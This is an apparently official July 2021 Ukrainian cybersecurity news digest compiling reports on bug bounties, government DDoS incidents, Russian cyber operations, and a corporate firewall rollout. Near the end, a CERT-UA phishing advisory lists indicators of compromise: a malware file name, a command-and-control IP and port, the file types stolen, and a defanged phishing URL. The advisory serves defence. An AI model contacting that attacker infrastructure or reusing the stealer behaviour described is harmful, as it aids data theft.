Державна наукова установа «Інститут інформації, безпеки і права Національної академії правових наук України»
Національна бібліотека України імені В. І. Вернадського

КІБЕРБЕЗПЕКА В ІНФОРМАЦІЙНОМУ СУСПІЛЬСТВІ

Інформаційно-аналітичний дайджест

№ 7 (липень)

Київ – 2021

Кібербезпека в інформаційному суспільстві: Інформаційно-аналітичний дайджест / відп. ред. О.Довгань; упоряд. О.Довгань, Л.Литвинова, С.Дорогих; Державна наукова установа «Інститут інформації, безпеки і права НАПрН України»; Національна бібліотека України ім. В.І.Вернадського. – К., 2021.– №7 (липень) . – 299 с.

Заснований Науково-дослідним інститутом інформатики і права Національної академії правових наук України та Національною бібліотекою України імені В.І. Вернадського у 2017 р. Видається щомісяця. Відповідальний редактор О. Довгань. Упорядники О. Довгань, Л.Литвинова, С.Дорогих. Дизайн обкладинки С.Дорогих.

Аналітичний дайджест покликаний надати інформацію з питань кібербезпеки, що є надзвичайно актуальними в контексті розвитку інформаційного суспільства, зростання кіберзлочинності, використання засобів кібертероризму у гібрідних війнах та необхідності розбудови системи забезпечення кібернетичної безпеки України відповідно до визначених стратегічних напрямків з урахуванням тенденцій розвитку кіберпростору, сучасних викликів та загроз його безпеці. Призначення дайджесту – ознайомлення широкого кола фахівців у сфері кібербезпеки, а також і всіх користувачів, які цікавляться цією проблематикою, з інформаційними джерелами мережі Інтернет та новими надходженнями до фондів НБУВ (монографії, автореферати дисертацій, підручники, збірники наукових праць, матеріали міжнародних конференцій, статті з періодичних видань), що висвітлюють сучасні проблеми кібербезпеки в Україні та за кордоном.

Ознайомитися з літературою із фондів НБУВ та онлайновими інформаційними ресурсами можна за адресою: проспект Голосіївський, 3, м. Київ, 03039.

© Державна наукова установа «Інститут інформації, безпеки і права Національної академії правових наук України», 2021
© Національна бібліотека України імені В.І. Вернадського, 2021

ЗМІСТ

Стан кібербезпеки в Україні 5
Національна система кібербезпеки 9
Правове забезпечення кібербезпеки в Україні 10
Кібервійна проти України 12
Боротьба з кіберзлочинністю в Україні 19
Коронавірус COVID-19 та питання кібербезпеки 22
Світові тенденції в галузі кібербезпеки 24
Сполучені Штати Америки 36
Країни ЄС та Великобританія 41
Китай 42
Російська Федерація та країни ЄАЕС 47
Австралія 47
Інші країни 65
Кібервійни та протидія зовнішній кібернетичній агресії 65
Створення та функціонування кібервійськ 78
Кіберзахист критичної інфраструктури 81
Захист персональних даних 83
Кібербезпека Інтернету речей 106
Кіберзлочинність та кібертерроризм 108
Діяльність хакерів та хакерські угруповування 144
Вірусне та інше шкідливе програмне забезпечення 155
Операції правоохоронних органів та судові справи проти кіберзлочинців 237
Технічні аспекти кібербезпеки 246
Виявлені вразливості технічних засобів та програмного забезпечення 250
Технічні та програмні рішення для протидії кібернетичним загрозам 286

«Кибератаки имеют отложенное время действия и их последствия могут «взорваться» в самый неприятный момент, отметил Алексей Данилов.

Секретарь Совета национальной безопасности и обороны Украины (СНБО) Алексей Данилов назвал кибератаки оружием, которое хуже атомной бомбы. Об этом он сказал на брифинге в понедельник, 12 июля.

«Кибератаки хуже атомного оружия. Вы не можете их почувствовать, увидеть. Через определенное время будут ощущаться только последствия и больше ничего», – сказал Данилов.

Он отметил, что это такое оружие, которое может быть направлено на тот или иной объект с отложенным временем действия.

«И вы можете не знать, что оно уже сидит в вашей сети, ваших компьютерах, а в час икс оно может «взорваться» в самый неприятный момент», – добавил секретарь СНБО.

«Мы отрабатываем сегодня такие ситуации. У нас есть ответственный орган – это министерство цифровой трансформации, который отвечает за кибербезопасность нашей страны», – резюмировал Данилов, назвав этот вопрос «крайне чувствительным»…». ***(Константин Катышев. Кибератаки хуже атомного оружия – Данилов // Korrespondent.net (https://korrespondent.net/ukraine/4376255-kyberataky-khuzhe-atomnoho-oruzhyia-danylov). 12.07.2021).***

***

«Міністерство цифрової трансформації України запустило другий етап багбаунті для додатку Дія.

Розробники пропонують користувачам “зламати” копію застосунку і за винагороду знайти реальні проблеми у програмі.

Таким чином всі охочі можуть протестувати захищеність додатка і впевнитися, що цифрові документи і сервіси – це безпечно.

Конкурс стартує 27 липня і триватиме він 6 місяців.

Винагорода розподілятиметься відповідно до рівня складності вразливості:

перший рівень складності — $4,1 тис. – $4,5 тис.

другий — $1,5 тис. – $1,75 тис.

третій — $600 – $850

четвертий — $200 – $250

Взяти участь у відкритому конкурсі може кожен охочий незалежно від досвіду або кваліфікації, зареєструвавшись за посиланням.

Як і минулого разу, для тестувальників буде створено окреме тестове середовище – копію додатка Дія. Однак без доступу до зовнішніх інформаційних систем.

Реалізація багбаунті відбувається за підтримки міжнародної платформи Bugcrowd та проекту Агентства з міжнародного розвитку США (USAID) Кібербезпека критично важливої інфраструктури України…». ***(Валентина Чорна. Мінцифри пропонує хакерам зламати Дію за 1 млн грн // ФАКТИ. ICTV***

(https://fakty.com.ua/ua/lifestyle/20210727-mintsyfry-proponuye-hakeram-zlamaty-diyu-za-1-mln-grn/). 27.07.2021).

***

«Укрнафта» на замену устаревшему решению информационной безопасности развернула новую комплексную систему на основе продуктов Check Point, для защиты наземной и облачной ИТ-инфраструктуры предприятия, а также конечных точек в центральном офисе и филиалах. Партнером внедрения выступила компания «CBIT IT», реализация проекта заняла более года…

В рамках модернизации корпоративной сети «Укрнафта» управление информационной безопасности предприятия разработало новую концепцию защиты ИТ-инфраструктуры от внешних угроз. Поскольку используемая прежде система базировалась на решениях разных производителей, включая морально устаревшие межсетевые экраны Cisco ASA, срок поддержки которых истек, и не обеспечивала ни требуемых возможностей, ни должного уровня надежности.

Исходя из актуального ландшафта угроз и необходимого предприятию инструментария, специалисты «Укрнафты» разработали технические требования к системе защиты корпоративных информационных ресурсов. Она должна обеспечивать безопасность периметра сети, включающей центральный офис компании, шесть удаленных площадок и ресурсы в облаке Microsoft Azure, защиту конечных точек (серверов и рабочих станций) от внешних угроз, централизованное управление всеми компонентами подсистемы, а также сбор и обработку лог-файлов, включая интеграцию с SIEM-системой. В частности требовалось осуществлять инспекцию трафика посредством модулей межсетевого экрана, предотвращения вторжений, контроля приложений, веб-фильтрации, антивируса и проверки входящей почты в облачной «песочнице», обеспечивать безопасное удаленное подключение авторизованных сотрудников к корпоративным ресурсам, централизованное управление политиками и всей системой и пр.

«Требования к подсистеме защиты корпоративной сети были тщательно продуманы и детально отражены в техническом задании на тендер группой специалистов управления информационной безопасности «Укрнафты». К чести его коллектива можно сказать, что все требования были обоснованными, поскольку люди четко понимали, что они хотят получить в итоге развертывания и какие точно задачи информационной безопасности в результате будут решены», — говорит Николай Хлапонин, коммерческий директор компании «CBIT IT».

На основе технических требований был проведен анализ имеющихся на отечественном рынке решений для защиты корпоративных сетей и осуществлено пилотное тестирование некоторых из них. В результате в short-лист вошли два разработчика — Cisco и Check Point. В числе прочего весомым аргументом в пользу этих вендоров стало наличие на территории Украины официальных представительств со штатом инженеров, имеющих богатый опыт реализации крупных инфраструктурных проектов. Со стороны Check Point кандидатом выступила компания «CBIT IT», имеющая статус CCSP (Check Point Certified Support Provider) и пять сертифицированных специалистов уровня CCSE (Check

Point Certified Security Engineer), которая и была признана победителем по итогам тендера.

Работа над внедрением фактически началась еще до подписания официального соглашения. Были созданы проектные комитет и группа, в команду вошли четыре человека со стороны исполнителя и двенадцать от заказчика. Начался процесс поиска взаимопонимания по ключевым вопросам. Для отслеживания этапов реализации был разработан план-график, а все рабочие моменты решались в ходе ежедневных совещаний проектной команды в Microsoft Teams.

Небольшие задержки на одних этапах зачастую удавалось нивелировать досрочным выполнением других. Однако случилась также и серьезная, почти трехмесячная остановка, когда в ходе нагрузочного тестирования оборудования в продуктивной среде стало понятно, что выбранная заказчиком модель шлюза безопасности в реальных условиях не обеспечит необходимый запас мощности и лишит его перспективы роста трафика.

Выйти из затруднительной ситуации удалось благодаря инициативе Александра Савушкина, директора по развитию бизнеса Check Point в Украине и странах СНГ, предложившего заменить оговоренную модель на более производительную. Тестирование показало, что CheckPoint 5800 обеспечивал 30-40% запас мощности. После чего было подписано дополнительное соглашение, и через полтора месяца заказчик получил новое оборудование.

Архитектура решения создавалась с учетом специфики территориально-распределенной и гибридной ИТ-инфраструктуры «Укрнафты». В его состав вошли аппаратно-программные комплексы Check Point 15400 и 5800, а также Smart-1 525, программное обеспечение CloudGuard IaaS, Endpoint Advanced Package, Endpoint Security и Endpoint Management Server и пр. Модели устройств, состав лицензий и подписок к оборудованию были выбраны так, чтобы в полной мере удовлетворить требования технического задания и обеспечить разумный запас производительности на перспективу развития инфраструктуры заказчика.

«В последние месяцы мы в Check Point Software наблюдаем серьезный рост кибератак во всем мире. К сожалению, и на украинском рынке аналогичная ситуация, — рассказывает Александр Савушкин, региональный директор по развитию бизнеса Check Point Software Technologies в Украине, Грузии и странах СНГ. — Комплексная защита очень важна: мы всегда говорим, что лучше предотвратить атаку, чем устранять ее последствия. Идеальная защитная система должна быть, во-первых, консолидирована, построена на решениях от одного производителя — «зоопарком» из разных систем управлять очень сложно, практически невозможно делать это эффективно. Во-вторых, решения должны быть максимально автоматизированы, просты в управлении. В случае с «Укрнафтой» мы смогли соблюсти практически все эти требования. Команда «Укрнафты» следует последнем тенденциям киберзащиты — и гордимся сотрудничеством с таким клиентом».

По мере реализации проекта совместная команда столкнулась с рядом вызовов, связанных с необходимостью интеграции решений Check Point с существующими системами, в частности: системы логирования и отчетности с

SIEM; системы управления и шлюзов безопасности с распределенной архитектурой контроллеров домена Active Directory, расположенных как в наземных ЦОДах, так и в облаке Microsoft Azure; с внутренним центром сертификатов, с целью построения безопасного удаленного доступа сотрудников к внутренним корпоративным ресурсам. Кроме того, оборудование Check Point в некоторых локациях требовалось сделать активным участником динамической маршрутизации по протоколу OSPF. Также на базе решений Check Point были построены защищенные шифрованные каналы связи между ЦОДами, для обеспечения безопасного обмена информацией.

Одной из интересных стала задача интеграции решения по защите конечных точек с серверами заказчика. На этапе развёртывания возникали отдельные сложности взаимодействия компонентов ПО серверов и SandBlast Agent от Check Point. Точно их идентифицировать и согласовать версии программных модулей удалось благодаря профессиональной работе инженеров технической поддержки вендора.

Поскольку серверы имели достаточно широкое назначение и выполняли большое количество функциональных задач, также возникали ситуации блокирования защитными решениями Check Point некоторых процессов операционной системы как подозрительных или опасных. В тесном сотрудничестве с технической поддержкой Check Point удалось идентифицировать все цепочки взаимодействия и создать корректные правила исключений, учитывающие особенности работы в среде заказчика.

Построение новой системы защиты корпоративной ИТ-инфраструктуры «Укрнафты» и конечных точек в целом заняло 14 месяцев, включая подготовительный период, обучение технических специалистов администрированию решений Check Point, установку и настройку оборудования, развертывание агентов на рабочих станциях и серверах, опытное тестирование с последующим устранением выявленных ошибок и ввод решения в продуктивную эксплуатацию.

«Проект масштабный, комплексный, внедряемый «по живому» в разрыв существующих ИТ-систем, порой с изменением схемы их работы. Конечно же, были сложности и немало. В рамках проекта в технической поддержке открыли и отработали четыре десятка кейсов.

Однако новая комплексная система позволяет реализовать полноценное предотвращение угроз на всех уровнях — от сетевого, до серверов и рабочих станций. Ранее мы таких возможностей попросту не имели. Согласно статистике, в прошлом году в автоматическом режиме уже было заблокировано около 30 тыс. критичных атак, до 400 в день. Общее же число обрабатываемых CheckPoint NGFW событий доходит до 20 млн. в месяц. С начала этого года на корпоративных устройствах предотвращены 853 вредоносные активности», — говорит Алексей Желудков, начальник управления информационной безопасности «Укрнафты».

Результатом проекта стала комплексная система сетевой безопасности и защиты конечных точек. Была произведена замена устаревших файрволов, построена новая система контроля сетевого доступа на основе идентификации сотрудников по доменным учетным записям. Также продукты Check Point

обеспечивают многоуровневую защиту от широкого спектра угроз, включая таргетированные и атаки нулевого дня, а решение SandBlast Agent позволило реализовать комплексную защиту конечных точек и серверов от различного зловредного кода, включая шифровальщиков.

Впрочем, несмотря на всю масштабность данного проекта, в результате его реализации были решены не все задачи «Укрнафты» по части обеспечения кибербезопасности. Уже после запуска системы в промышленную эксплуатацию расширены возможности SandBlast и зашифрованы жесткие диски рабочих станций. В настоящее время внедряется защита электронных документов для обеспечения безопасного обмена ими по открытым или недоверенным каналами связи. В перспективе планируется реализовать микросегментацию, контроль доступа, защиту от угроз внутри виртуальной среды наземного ЦОДа и многое другое». ***(Многоуровневая защита // Компьютерное Обозрение (https://ko.com.ua/mnogourovnevaya_zashhita_137890). 02.07.2021).***

***

«Платформа електронних закупівель Prozorro платитиме «білим хакерам» до $1000 за кожну знайдену вразливість в межах програми пошуку вразливостей Prozorro Bug Bounty, про що повідомила пресслужба.

За кожну вразливість найвищого рівня екосистемі Prozorro — P1 — хакери отримуватимуть 28000 грн, за P2 — 14000 грн, за P3 — 8400. Вразливості найнижчого рівня — P4 та P5 не нагороджуватимуться.

За рік існування проєкту сім багхантерів знайшли 68 вразливостей, 43 з них виявилися не критичного рівня.

Учасники Bug Bounty працюють у тестовому середовищі, що не зачепає продуктивну систему Prozorro…» ***(Prozorro платитиме «білим хакерам» до $1000 за кожну знайдену вразливість // «MEDIASAPIENS» (https://ms.detector.media/kiberbezpeka/post/27831/2021-07-22-prozorro-platytyme-bilym-khakeram-do-1000-za-kozhnu-znaydenu-vrazlyvist/). 22.07.2021).***

***

Національна система кібербезпеки

«Кабінет міністрів України» схвалив план організації виконання рішення «Ради національної безпеки та оборони України» «Щодо удосконалення мережі ситуаційних центрів та цифрової трансформації сфери національної безпеки та оборони».

Відповідно до цього плану «Держспецзв'язку»:

відповідатиме за придбання та розгортання в урядовому ситуаційному центрі мережі захищеного відеоконференцзв'язку;

забезпечить ситуаційні центри органів державної влади, обласних Київської, Севастопольської міських державних адміністрацій та Ради Міністрів АР Крим, а також резервні та рухомі ситуаційні центри, засобами криптографічного захисту інформації та доступом їх до ресурсу Національної телекомунікаційної мережі;

Такі центри, об'єднані в єдину захищену мережу, дадуть можливість оперативно збирати інформацію, аналізувати її та приймати критично важливі для держави рішення. Наразі вже діє «Головний ситуаційний центр України», а також ситуаційні центри низки ключових державних органів сектору безпеки і оборони.

Нагадаємо, 18 червня Президент своїм указом увів у дію рішення «Ради національної безпеки і оборони України» від 4 червня «Щодо удосконалення мережі ситуаційних центрів та цифрової трансформації сфери національної безпеки і оборони».

Документ передбачає розширення та подальший розвиток єдиної мережі ситуаційних центрів, до складу якої мають входити «Головний ситуаційний центр України», «Урядовий ситуаційний центр», ситуаційні центри органів сектору безпеки і оборони, ситуаційні центри центральних органів виконавчої влади, Ради міністрів Автономної Республіки Крим, обласних, Київської та Севастопольської міських державних адміністрацій, а також резервні та рухомі ситуаційні центри.

Центри мають бути оснащені уніфікованим програмним та апаратним забезпеченням із інформаційно-аналітичного супроводження прийняття управлінських рішень. Воно включатиме:

сховище даних та систему керування базами даних;

інструменти аналізу та візуалізації даних від різних джерел, а також побудови прогностичних моделей на їх основі;

модуль геоінформаційних систем і технологій для створення та роботи з наборами геопросторових даних;

захищений відеоконференцзв'язок для забезпечення синхронного обміну аудіовізуальною інформацією в режимі реального часу;

електронні комунікаційні мережі для забезпечення обміну інформацією, включаючи передачу даних та аудіовізуальної інформації з різними ступенями обмеження доступу між комунікаційними вузлами, ситуаційними центрами та іншими суб'єктами інформаційного обміну;

технічну підтримку програмно-апаратного комплексу для забезпечення інтероперабельності, стійкого і безперервного функціонування, тестування, конфігурації та відстеження продуктивності згідно з визначеним регламентом». ***(«Держспецзв'язку» забезпечить урядові ситуаційні центри системою захищеного відеозв'язку та криптографічним захистом // Компьютерное Обозрение (https://ko.com.ua/derzhspeczv_yazku_zabezpechit_uryadovi_situacijni_centri_sistemoyu_zahishhenogo_videozv_yazku_ta_kriptografichnim_zahistom_13803). 15.07.2021).***

***

Правове забезпечення кібербезпеки в Україні

«Интернет Ассоциация Украины, объединяющая более 220 участников рынка, направила письма в парламентские комитеты Верховной Рады Украины с замечаниями к законопроекту №5219 «О критической инфраструктуре», который был недавно принят в первом чтении. Как

оказалось, законопроект среди прочего вводит еще одного регулятора - Национальную комиссию по вопросам защиты критической инфраструктуры и предполагает значительные обязательства и штрафы на операторов основных услуг.

ИнАУ обращает внимание законодателей, что законопроект №5219 противоречит европейской Директиве 2016/1148 от 06.07.2016 о мерах для высокого общего уровня безопасности сетевых и информационных систем. Эта Директива прямо требует избежать возложения непропорционального финансового и административного бремени на операторов основных услуг и предусматривает нераспространение требований в сфере критической инфраструктуры на поставщиков цифровых услуг, относящихся к малых предприятиям.

В обращении говорится:

«Пунктом (53) преамбулы Директивы Европейского Парламента и Совета (ЕС) 2016/1148 от 6 июля 2016 о мерах для высокого общего уровня безопасности сетевых и информационных систем на территории Союза предполагается, что для того, чтобы избежать возложения непропорционального финансового и административного бремени на операторов основных услуг и поставщиков цифровых услуг, требования должны быть пропорциональными риску, связанному с соответствующей сетевой и информационной системой, учитывая современное состояние таких инструментов. В случае поставщиков цифровых услуг, такие требования не применяются к микро- и малым предприятиям».

ИнАУ призывает учесть эти европейские нормы, игнорирует законопроект №5219.

Также эксперты предлагают дополнить законопроект нормой о том, чтобы операторы критической инфраструктуры имели право компенсации за счет госбюджета расходов, которые будут связаны с требованиями государства по особенному содержанию объектов критической инфраструктуры. В противном случае следствием принятия законопроекта будет возложение непропорционального финансового и административного бремени на операторов основных услуг, и, соответственно, повышения платы за товары, услуги, которые предоставляются операторами критической инфраструктуры.

Кроме того, Ассоциация осуждает введение против операторов объектов критической инфраструктуры частного сектора жестких санкций, которые способны вызвать банкротство этих критически важных предприятий…». ***(Герман Богапов. ИнАУ: законопроект о критической инфраструктуре противоречит европейскому законодательству // Internetua (http://internetua.com/inau-zakonoproekt-o-kriticseskoi-infrastrukture-protivorecsit-evropeiskomu-zakonodatelstvu). 08.07.2021).***

***

«Державна служба спеціального зв'язку та захисту інформації України нейтралізувала чергові кібератаки на офіційні вебсайти Президента України та Служби безпеки України.

…про це 13 липня це повідомило Держспецзв'язку на своєму сайті.

Були здійснені DDoS-атаки на сайти Президента та СБУ. Силами кіберзахисту Держспецзв'язку усі кібератаки нейтралізовані.

«Застосування сервісів кіберзахисту Системи захищеного доступу державних органів влади до мережі інтернет забезпечило повну доступність інформаційних ресурсів та їх безперервну роботу», - заявив заступник голови служби Віктор Жора.

Держспецзв'язку спостерігає збільшення кількості атак різних видів та кіберінцидентів. За пів року заблокували понад 1,1 млн атак різних видів на державні інформаційні ресурси, крім того, заблокували понад 250 DDoS-атак.

У службі нагадали, що минулого тижня через кібератаки відбувся аварійний технічний збій в роботі інтернет-провайдерів, що забезпечують підтримку інтернет-представництв і сайтів Президента України, Служби безпеки України та інших органів державної влади України…». ***(Хакери атакували сайти Президента та СБУ // Эксперт-Центр (http://expert.org.ua/smi-i-tehnologii/2021/hakeri-atakuvali-sayti-prezidenta-ta-sbu). 13.07.2021).***

***

«Фахівці Ситуаційного центру забезпечення кібербезпеки СБУ у червні 2021 року припинили та нейтралізували 76 кібератак на інформаційні системи органів державної влади.

Це відбулося через аналіз понад 65 000 критичних подій інформаційної безпеки, які трапилися за звітний місяць (виявлена кібератака є результатом аналізу критичних подій інформаційної безпеки).

Здебільшого основними типами виявлених кіберзагроз (хакерських атак) були:

З'єднання з командно-контрольними серверами (C&C Server);

Спроби отримання несанкціонованого доступу (Brute Force Attack);

Атаки на веб-додатки (Web App Attack);

Шкідливе програмне забезпечення (Malware);

та інші…». ***(У червні СБУ заблокувала понад 70 кібератак на українські органи влади // Служба безпеки України (https://ssu.gov.ua/novyny/u-chervni-sbu-zablokuvala-ponad-70-kiberatak-na-ukrainski-orhany-vlady). 09.07.2021).***

***

«Росія цілеспрямовано проводить інформаційні операції проти України. До цих дій залучені структури інформаційно-психологічних операцій Південного військового округу ЗС РФ при підтримці кіберпідрозділів центрального підпорядкування, розвідувальних органів та всієї пропагандистської машини Кремля.

9-го липня мали місце випадки хакерських атак структур держави-агресора на веб-портал Військово-Морських сил Збройних Сил України. У результаті, відбулася публікація деяких документів та переважно фейкових повідомлень, пов'язаних з навчаннями «Сі Бриз — 2021», що наразі тривають у басейні Чорного моря. При цьому, жоден з документів не був отриманий в результаті витоку інформації з інформаційно-телекомунікаційних систем Збройних Сил України. Мало місце тимчасове припинення роботи сайту українського флоту, яке було спричинено використанням уразливостей фреймворка, який свого часу використовувався для його створення. Крім того, зафіксовано випадки безуспішних DDoS-атак проти офіційного веб-порталу Міністерства оборони України.

Зазначимо, проекти міжнародного оборонного співробітництва та допомога Україні від держав-партнерів традиційно викликають неадекватні емоції у військово-політичного керівництва Російської Федерації. Цьогорічні міжнародні військові навчання «Сі Бриз — 2021» не стали винятком.

Наразі загрозу усунуто, роботу сайту ВМС буде відновлено найближчим часом…». ***(«Казус «Defender» росіяни спробували повторити з веб-порталом ВМС України // Міністерство оборони України (https://www.mil.gov.ua/news/2021/07/09/kazus-defender-rosiyani-sprobuvali-povtoriti-z-veb-portalom-vms-ukraini/). 09.07.2021).***

***

«6 липня у другій половині дня відбувся аварійний технічний збій в роботі Інтернет-провайдерів, що забезпечують підтримку інтернет-представництв і сайтів Президента України, Служби безпеки України та інших органів державної влади України.

Державним центром кіберзахисту Держспецзв‘язку визначено, що причинами технічного збою були:

атака типу DNS Amplification на сервери доменних імен, що забезпечують доступність вебресурсів органів державної влади;

мережева атака, спрямована на порушення сервісу маршрутизації мережевого трафіку, що спричинила тимчасову недоступність резервних маршрутів та відповідних вебресурсів.

Засобами Системи виявлення вразливостей і реагування на кіберінциденти та кібератаки зафіксовано аномальні події на обладнанні системи захищеного доступу державних органів до мережі інтернет.

Станом на 21:00 спільними зусиллями фахівців Держспецзв'язку та сервіс-провайдерів організовано роботу через резервні фізичні канали зв'язку та повною мірою забезпечено доступність державних інформаційних ресурсів. За результатами атаки зареєстровано відповідний кіберінцидент, триває розслідування». ***(Сайти державних органів зазнали мережевої атаки - роботу оперативно відновлено // Державна служба спеціального зв'язку та захисту інформації України (https://cip.gov.ua/ua/news/saiti-derzhavnikh-organiv-zaznali-merezhevoyi-ataki-robotu-operativno-vidnovleno). 07.07.2021).***

***

«У мережі з'явився сайт, схожий на сторінку «Приватбанку». У ньому шахраї пропонують вкласти гроші під шалені відсотки в неіснуючі інвестиційні проекти.

Як передає прес-служба «Приватбанку», сайт зареєстрований невідомими особами у США, він незаконно використовує логотип та айдентику банку та інших юридичних осіб. Фахівців з кібербезпеки «Привату» встановили, що даний сайт є на 100% шахрайським та використовує посилання на неіснуючі інвестиційні проекти та компанії без їхньої згоди.

Банк попередив клієнтів та всіх українців про небезпеку контактування з шахраями та участі у таких «проектах», і поскаржився до правоохоронних органів…». ***(«Приватбанк» попередив про появу фальшивого сайту // UA.NEWS (https://ua.news/ua/pryvatbank-predupredyl-o-poyavlenyy-falshyvogo-sajta/). 21.07.2021).***

***

«Із початку року кіберфахівці СБУ відбили понад 1 тис. кібератак на ресурси органів влади і об'єктів критичної інфраструктури. Найбільше нападів було у квітні-травні, коли РФ сконцентрувала свої війська біля українського кордону.

Про це повідомляє СБУ. Вказується, що одна з масштабних кібератак, заблокована СБУ в цей період – дії хакерського угруповання «Armageddon», підконтрольного ФСБ РФ. Воно намагалося вразити системи електронного документообігу, щоб отримати доступ до секретних даних українських органів державної влади.

Крім того, кіберфахівці заблокували 8 ботоферм потужністю понад 35 тисяч акаунтів, які поширювали деструктивний контент. Зокрема було викрито керовану з РФ мережу інтернет-агітаторів, які діяли на території 8 областей і чия активність збіглася з «тарифними протестами». Ще одна агентурна мережа російських спецслужб поширювала деструктивний контент через Telegram-акаунти, інша – через канали «Резидент», «Легитимный», «Картель», «Сплетница».

Із початку року за злочини проти інформаційної безпеки СБУ притягнула до кримінальної відповідальності 60 осіб (22 громадян засуджено), 46 іноземцям заборонили в'їзд за пропаганду сепаратизму в інтернеті…». ***(РФ активізувала кібератаки проти України одночасно з підтягуванням військ – СБУ // UA.NEWS (https://ua.news/ua/rf-aktyvyzyrovala-kyberataky-na-ukrayne-odnovremenno-s-podtyagyvanyem-vojsk-sbu/). 21.07.2021).***

***

«За повідомленням Держспецзв'язку, у проміжок часу з 30 червня по 6 липня 2021 року системою захищеного доступу державних органів до мережі Інтернет:

- заблоковано 60006 атак різних видів, що на 28% більше ніж попереднього тижня. Переважна більшість – мережеві атаки прикладного рівня (97%)
- Зафіксовано та заблоковано 11 DDoS-атак.

Системою виявлення вразливостей і реагування на кіберінциденти та кібератаки на об'єктах моніторингу зафіксовано 1237378 підозрілих подій (на 5% більше ніж попереднього тижня):

- спроб отримання прав користувача – 48%;
- спроб отримання прав адміністратора – 21%;
- порушень корпоративної політики безпеки – 10%;
- підозрілого виконувального коду – 7%;
- застосування нестандартних протоколів – 6%.

Урядовою командою реагування на комп'ютерні надзвичайні події України CERT-UA у цей період зареєстровано та опрацьовано 3696 кіберінцидентів (на 12% більше ніж попереднього тижня).

Переважна більшість опрацьованих інцидентів належить доменній зоні UACOM (близько 99%). Основна кількість інцидентів стосується:

- розповсюдження шкідливого програмного забезпечення – 75%
- фішингу – 24%». ***(Держспецзв'язок повідомив про блокування понад 60 тис атак на державні інформаційні ресурси за останній тиждень // Компьютерное Обозрение(https://ko.com.ua/derzhspeczv_yazk_povidomiv_pro_blokuvannya_ponad_60_tisyach_atak_na_derzhavni_informacijni_resursi_za_ostannij_tizhden_137973). 09.07.2021).***

***

«Правительственная команда реагирования на компьютерные чрезвычайные ситуации CERT-UA сегодня обезвредила фишинговый сайт, имитирующий официальное интернет-представительство президента Украины.

Зарегистрированный одним из крупнейших в России регистраторов доменных имен и хостинг провайдеров www.reg.ru фишинговый вебсайт используется для проведения кибератак и распространения вредоносных программ.

В фишинговом письме жертве предлагалось ознакомиться со списком вакантных должностей и загрузить «Полный список высокооплачиваемых должностей».

По ссылке загружался файл 756285df0c8b81cf14ad3463a57d33ed.xll, который на самом деле является Windows 32-bit DLL file, после запуска которого на компьютере жертвы создаются вредоносные процессы и запускается еще один вирусный.exe файл - "0707a.exe".

Указанный файл запускается в системе, собирает информацию о конфигурации системы, такую как конфигурацию сетевой карты, хостнейм и серийный номер жесткого диска. Собирает информацию, принадлежащую пользователю, с оконечного устройства, включая все файлы с расширениями *.doc, *.pdf, *.ppt, *.dot, *.xl, *.csv, *.rtf, *.dot, *.mdb, *.accdb, *.pot, *.pps, *.ppa, *.7z, *.tar, *.rar, *.zip. Направляет их в командно-контрольного сервера 45.146.165.91:8080, на котором создается директория соответствующая хостнейму устройства.

Сейчас специалистами Госспецсвязи проведена работа по блокированию фишинговых сайтов. При запуске лжепрезидентского сайта на его странице

появляется сообщение: «Работа сайта временно приостановлена. Хостинг сайта временно приостановлен».

«Фишинговые сайты имитируют вебсайты органов государственной власти, известных брендов и компаний. Они повторяют графическое оформление и структуру реальных сайтов, но отличаются от действительного доменного имени. На фишинговых сайтах размещаются ссылки, по которым на компьютер пользователя загружаются файлы с вредоносным программным обеспечением. Киберпреступники это делают с целью получения данных пользователей, распространения вредоносного программного обеспечения, загрузки вирусов на компьютеры и тому подобное. Поэтому не открывайте фишинговые письма, не посещайте фишинговые вебсайты, не переходите по ссылкам на них и не загружайте файлы», - предостерегает руководитель Государственного центра киберзащиты Госспецсвязи Андрей Кузмич.

CERT-UA дает следующие рекомендации:

Обращать внимание на ссылки веб-ресурса, в случае необходимости попасть на официальный вебресурс, лучше воспользоваться поисковыми системами.

Использовать только лицензионное программное обеспечение и своевременно обновлять его.

Определить политики пользования почтовыми сервисами для работников, определить ответственных лиц, которые принимают почту подразделения и рассылают ее.

Систематически проводить работу с персоналом по вопросам кибергигиены, в частности необходимости при получении письма проверять электронный адрес и имя. Если имя отправителя имеет странное и необычное значение, не открывать прикрепленные файлы.

Обеспечить недопустимость открытия приложений в подозрительных сообщениях. Хранить прикрепленные файлы, однако не открывать, проверять их антивирусной программой.

Настроить фильтрацию входящих и исходящих информационных потоков, в частности почтового вебтрафика, например, запретить получение работниками почты, содержащей в приложениях исполняемые файлы и настроить спам фильтры.

Проверять прикрепленные файлы к письмам перед отправкой другим. Документы не должны содержать макросы, если такие не разработаны администратором учреждения.

Настроить SPF, DKIM и DMARC для уменьшения случаев получения спама, реализации спуфигну и других атак.

Определить политики пользования на рабочих станциях. Ограничить права доступа пользователям, запретить инициализацию файлов с правами администратора, CMD, PowerShell, VBS, исполняемых файлов (*.exe, * js, *.com, *.bs, * jar, *.py и т.д.) из директорий Temp и AppData, проверить настройки программ пакета Microsoft Office. Запретить или ограничить использование wscript.exe и макросов в продукции офисного пакета Microsoft Office.

Проверять приложения браузера. Не использовать браузер для открытия документов и почты. Запретить выполнение HTML-кода в письмах.

Определить политику использования флэш-носителей.

Запретить стандартные сервисы шифрования для предотвращения использования шифровальщики.

Систематически проверять вновь атрибуты в директориях \Windows\Tasks и \Windows\System32\Tasks

Обновить антивирусную базу и своевременно загружать ее обновления.

Вовремя делать резервные копии важного программного обеспечения и документов.

Периодически делать полную проверку системы на предмет наличия вредоносных программ.

Стоит настроить систему логирования и проводить мониторинг сети, отслеживать подозрительную активность для выявления потенциально инфицированных систем.

Переустанавливать систему при наличии индикаторов компрометации по следам вредоносного программного обеспечения. Заметим, что при восстановлении непроверенных программ и документов возможно повторное инфицирование. Перед восстановлением программное обеспечение и документы нужно проверять антивирусной программой после обновления антивирусной базы.

Если вы получали письмо со ссылкой на фишинговый вебсайт (специально добавлены символы замены) hXXp://president.gov.ua.administration.vakansiyi.administration.president.gov-ua[.]info, а тем более - открывали указанный файл, нужно немедленно проверить факт наличия указанных в индикаторах компрометации файлов на вашем компьютере и удалить их». ***(Герман Богапов. Хакеры создали вредоносный сайт-копию president.gov.ua // Internetua (http://internetua.com/hakery-sozdali-vredonosnyi-sait-kopiua-president-gov-ua). 13.07.2021).***

***

